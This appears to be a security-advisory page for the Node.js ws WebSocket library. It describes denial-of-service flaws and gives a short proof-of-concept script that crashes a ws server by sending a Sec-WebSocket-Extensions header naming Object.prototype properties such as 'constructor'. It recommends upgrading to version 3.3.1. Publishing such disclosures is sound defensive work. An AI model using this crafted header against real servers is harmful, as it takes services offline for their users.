Package Instance

Denial of Service
A specially crafted value of the `Sec-WebSocket-Extensions` header that uses `Object.prototype` property names as extension or parameter names can be used to make a `ws` server crash.

Denial of Service in ws
Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.

## Proof of concept

```
const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r'
  ].join('\r');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});
```


## Recommendation

Update to version 3.3.1 or later.

Improper Input Validation
ws is a "simple to use, blazing fast and thoroughly tested websocket client, server and console for node.js, up-to-date against RFC-6455". By sending an overly long websocket payload to a `ws` server, it is possible to crash the node process. This affects ws 1.1.0 and earlier.

DoS due to excessively large websocket message
It is possible to crash the node process by sending an overly long websocket payload to a ws server.